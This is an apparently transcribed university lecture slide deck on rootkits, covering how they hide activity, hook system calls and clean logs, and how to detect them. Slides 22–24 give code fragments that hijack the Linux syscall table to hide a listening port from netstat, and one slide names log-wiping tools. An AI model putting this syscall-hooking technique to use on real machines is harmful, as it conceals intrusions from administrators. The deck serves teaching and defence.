Rootkit: Analysis, Detection and Protection



Similar documents
Traditional Rootkits Lrk4 & KNARK

Operating Systems Principles

Rootkit: Attacker undercover tools By Saliman Manap

Linux Kernel Rootkit : Virtual Terminal Key Logger

Server Forensics: Linux

Worms, Trojan Horses and Root Kits

Unix/Linux Forensics 1

Linux Operating System Security

Unix Network Security

Practical Mac OS X Insecurity

Hacking Database for Owning your Data

Network Incident Report

Security Maintenance Practices. IT 4823 Information Security Administration. Patches, Fixes, and Revisions. Hardening Operating Systems

SY system so that an unauthorized individual can take over an authorized session, or to disrupt service to authorized users.

Chapter 11 Phase 5: Covering Tracks and Hiding

SCP - Strategic Infrastructure Security

Securing Linux. Presented by: Darren Mobley

Forensic analysis of a Linux web server

CSE331: Introduction to Networks and Security. Lecture 32 Fall 2004

Threat Events: Software Attacks (cont.)

Security Advice for Instances in the HP Cloud

7 Network Security. 7.1 Introduction 7.2 Improving the Security 7.3 Internet Security Framework. 7.5 Absolute Security?

Digital Forensic. A newsletter for IT Professionals. I. Background of Digital Forensic. Definition of Digital Forensic

Linux System Administration on Red Hat

Security Incident Investigation

Malware: Prevenire (e curare) con strumenti open-source

CMSC 421, Operating Systems. Fall Security. URL: Dr. Kalpakis

Host Security. Host Security: Pro

Analysis of the Linux Audit System 1

Linux Security Ideas and Tips

My FreeScan Vulnerabilities Report

A candidate following a programme of learning leading to this unit will be able to:

Thick Client Application Security

Principles of Information Assurance Syllabus

Skoot Secure File Transfer

NovaTech NERC CIP Compliance Document and Product Description Updated June 2015

Security: Attack and Defense

HP Education Services

Course Content: Session 1. Ethics & Hacking

CS 392/CS Computer Security. Module 17 Auditing

Oracle Solaris Security: Mitigate Risk by Isolating Users, Applications, and Data

Network Forensics: Log Analysis

Cloud Security:Threats & Mitgations

That Point of Sale is a PoS

Features. The Samhain HIDS. Overview of available features. Rainer Wichmann

A Framework for Secure and Verifiable Logging in Public Communication Networks

Studying Security Weaknesses of Android System

P Principles of Network Forensics P Terms & Log-based Tracing P Application Layer Log Analysis P Lower Layer Log Analysis

Rapid AIX Security Hardening with Trusted Execution (TE) AIX schnell absichern mit Trusted Execution Andreas Leibl, RSTC Ltd

Network Security and Firewall 1

A Virtual Machine Introspection Based Architecture for Intrusion Detection

Computer Forensic Tools. Stefan Hager

Incident Response and Forensics

The Value of Physical Memory for Incident Response

Cyber Security In High-Performance Computing Environment Prakashan Korambath Institute for Digital Research and Education, UCLA July 17, 2014

Course Content Summary ITN 261 Network Attacks, Computer Crime and Hacking (4 Credits)

Computer Forensics Training - Digital Forensics and Electronic Discovery (Mile2)

Executable Integrity Verification

(General purpose) Program security. What does it mean for a pgm to be secure? Depends whom you ask. Takes a long time to break its security controls.

Securing your Virtual Datacenter. Part 1: Preventing, Mitigating Privilege Escalation

Host/Platform Security. Module 11

Automated Defense from Rootkit Attacks

5 Steps to Advanced Threat Protection

J-202. IT 4823 Information Security Administration. Linux Security Model. Linux Security. In Room. Linux Security April 23

Guidelines for Website Security and Security Counter Measures for e-e Governance Project

Forensics source: Edward Fjellskål, NorCERT, Nasjonal sikkerhetsmyndighet (NSM)

Intrusion Detection using the Linux Audit Framework. Stephen Quinney School of Informatics University of Edinburgh

Certified Ethical Hacker (CEH)

Firewalls. Ola Flygt Växjö University, Sweden Firewall Design Principles

Computer Security: Principles and Practice

Network Security: 30 Questions Every Manager Should Ask. Author: Dr. Eric Cole Chief Security Strategist Secure Anchor Consulting

Windows Rootkit Overview

An Introduction to Incident Detection and Response Memory Forensic Analysis

ANNEXURE-1 TO THE TENDER ENQUIRY NO.: DPS/AMPU/MIC/1896. Network Security Software Nessus- Technical Details

INCIDENT RESPONSE & COMPUTER FORENSICS, SECOND EDITION

How to effectively respond to an information security incident

Penetration Testing Report Client: Business Solutions June 15 th 2015

How Security Testing can ensure Your Mobile Application Security. Yohannes, CEHv8, ECSAv8, ISE, OSCP(PWK) Information Security Consultant

HoneyBOT User Guide A Windows based honeypot solution

finger, ftp, host, hostname, mesg, rcp, rlogin, rsh, scp, sftp, slogin, ssh, talk, telnet, users, w, walla, who, write,...

Computer Security DD2395

LINUX NETWORK SECURITY

Phase 2: Scanning Detec0ng informa0on useful for break- in Live machines Network topology Firewall configura0on Applica0ons and OS types Vulnerabili0es

Windows Operating Systems. Basic Security

Network Based Intrusion Detection Using Honey pot Deception

Transcription:

Rootkit: Analysis, Detection and Protection Igor Neri Sicurezza Informatica Prof. Bistarelli 1/34

Definition of Rootkit A rootkit is malware which consists of a set of programs designed to hide or obscure the fact that a system has been compromised. 2/34

What does a Rootkit do? Hides Attacker Activities 3/34

What does a Rootkit do? Hides Attacker Activities Provides unauthorized access 4/34

What does a Rootkit do? Hides Attacker Activities Provides unauthorized access Cleans Logs 5/34

Classification User Space Kernel Space 6/34

Classification Ring 0 - full access to all memory and the entire instruction set Ring 3 - restricted memory access and instruction set availability 7/34

User Space Replace specific system program used to extract information from the system Can include additional tools like sniffers and password crackers 8/34

User Space: Hiding File Hiding: du, find, sync, ls, df, lsof, netstat Processes Hiding: killall, pidof, ps, top, lsof Connections Hiding: netstat, tcpd, lsof, route, arp Logs Hiding: syslogd, tcpd Logins Hiding: w, who, last 9/34

User Space: Grant Access Backdoors: inetd, login, rlogin, rshd, telnetd, sshd, su, chfn, passwd, chsh, sudo SNIFFING & data acquisitions: ifconfig (hide the PROMISC flag), passwd 10/34

User Space: Clean addlen: tool to fit the trojaned file size to the original one fix: changes the creation date and checksum of any program wted: has edit capabilities of wtmp and utmp log files zap: zeroes out log files entries zap2 (z2): erases log files entries: utmp, wtmp, lastlog 11/34

User Space: summary Easy to write/install Too many binaries to replace thus prone to mistakes Verifications through checksums is easy and OS dependent Old type 12/34

Kernel Space The goal of a kernel rootkit is placing the malicious code inside the kernel by manipulating the kernel source / structure No need to substitute binaries, kernel modification affects all binaries system call Complex to write Complex to identify 13/34

How is the flow of execution intercepted? The flow of execution needs to be intercepted or modified at some point Example: ls command The manipulation can take place at many different levels 14/34

Normal Execution Flow Executing a syscall in the kernel: Interrupt handler consults the IDT System call handler consults Syscall Table Function implementing the system call execute other kernel functions 15/34

Manipulating the Syscall Table The rootkit is called instead of original function Rootkit acts as a wrapper Method used by first kernel rootkits Example: Adore 16/34

Copying the syscall table/handler Original syscall table is not modified Modified syscall handler uses manipulated copy Example: SucKIT 17/34

Manipulating the IDT A different syscall handler is used, which calls rootkit No need to modify syscall handler or syscall table 18/34

Manipulation deeper inside the kernel Less central kernel structures are manipulated Hard to detect since many kernel structures need to be monitored 19/34

Kernel rootkit example Target Program: netstat netstat provide information about network connection root@localhost# netstat an [cut] tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:1025 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:6000 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN We want to hide the service on 8080 20/34

How netstat works root@localhost# strace netstat -an [cut] open("/proc/net/tcp", O_RDONLY) = 3 fstat64(3, {st_mode=s_ifreg 0444, st_size=0,...}) = 0 old_mmap(null, 4096, PROT_READ PROT_WRITE, MAP_PRIVATE MAP_ANONYMOUS, 1, 0) = 0x40191000 read(3, " sl local_address rem_address "..., 4096) = 900 write(1, "tcp 0 0 0.0.0.0:8080"..., 81tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN) = 81 write(1, "tcp 0 0 127.0.0.1:10"..., 81 [cut] close(3) 21/34

Altering open and read syscall Hijacking on init module phase: old_open=sys_call_table[ NR_open]; sys_call_table[ NR_open]=new_open; old_read=sys_call_table[ NR_read]; sys_call_table[ NR_read]=new_read; Check on file opening: if (strstr (filename,"/proc/net/tcp")) ACTIVA = 1; r=old_open(filename,flags,mode); Variable ACTIVA useful on read syscall 22/34

Altering open and read syscall Check on file reading, if process netstat and file /proc/net/tcp r=old_read(fd,buf,count); if(r<0)return r; if ((strcmp(current >comm,"netstat")!=0) (ACTIVA==0)) return r; Then we'll search for occurrence to hide and we'll remove that from r 23/34

Load kernel module & try Load module root@localhost# insmod hide_netstat.ko re-run netstat root@localhost# netstat an [cut] tcp 0 0 127.0.0.1:1025 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:6000 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN [cut] 24/34

Detection Checksums of important files (aide, tripwire, ) Rootkit detector programs using signatures (chkrootkit, rootkit hunter,...) Backups of central kernel structures (kstat) Runtime measurement of system calls (patchfinder) Anti-rootkit kernel modules (St Michael) Offline / forensic analysis (TCT, ) Watching the network traffic-flows from 3rd system Manual logfile analysis and search 25/34

DEMO Login on remote host via SSH using Debian OpenSSL vulnerability (DSA-1571) Installation of homemade rootkit and Adore-NG rootkit with example of use Detection via system analysis and detection tools: chkrootkit e rkhunter+skdet 26/34

DEMO: What's SSH SSH is a network protocol that allows data to be exchanged using a secure channel between two networked devices. Key Based Authentication: First, a pair of cryptographic keys is generated. One is the private key; the other is the public key. The public key is installed on the remote machine and is used by ssh to authenticate users which use private key. 27/34

DEMO: DSA-1571 Luciano Bello discovered that the random number generator in Debian's openssl package is predictable. This is caused by an incorrect Debian-specific change to the openssl package (CVE-2008-0166). As a result, cryptographic key material may be guessable. 28/34

DEMO 29/34

Protecting the system Applying runtime detection methods OS / Kernel Hardening Patching the vulnerabilities Restricted operations and capabilities LKM Protection 30/34

Famous case: Ken Thompson vs. Naval Lab. compile(s) char *s; { if(match(s, pattern1 )){ compile( bug1 ); return; } if(match(s, pattern2 )){ compile( bug2 ); return; } } Reflections on Trusting Trust Ken Thompson 31/34

Famous Case: Sony BMG CD copy protection The copy protection scandal concerns the copy protection measures included by Sony BMG on compact discs in 2005. This software was automatically installed on Windows desktop computers when customers tried to play the CDs. 32/34

33/34

References SHADOW WALKER Raising The Bar For Rootkit Detection UNIX and Linux based Kernel Rootkits (DIMVA 2004 - Andreas Bunten) Rootkits: Subverting the Windows Kernel Countering Trusting Trust through Diverse Double-Compiling (DDC), David A. Wheeler Reflections on Trusting Trust Ken Thompson Analysis of Rootkits: Attack Approaches and Detection Mechanisms Alkesh Shah http://packetstormsecurity.org/unix/penetration/rootkits/ Come costruire un mini-rootkit I - Nascondiamoci da Netstat - blaad! 34/34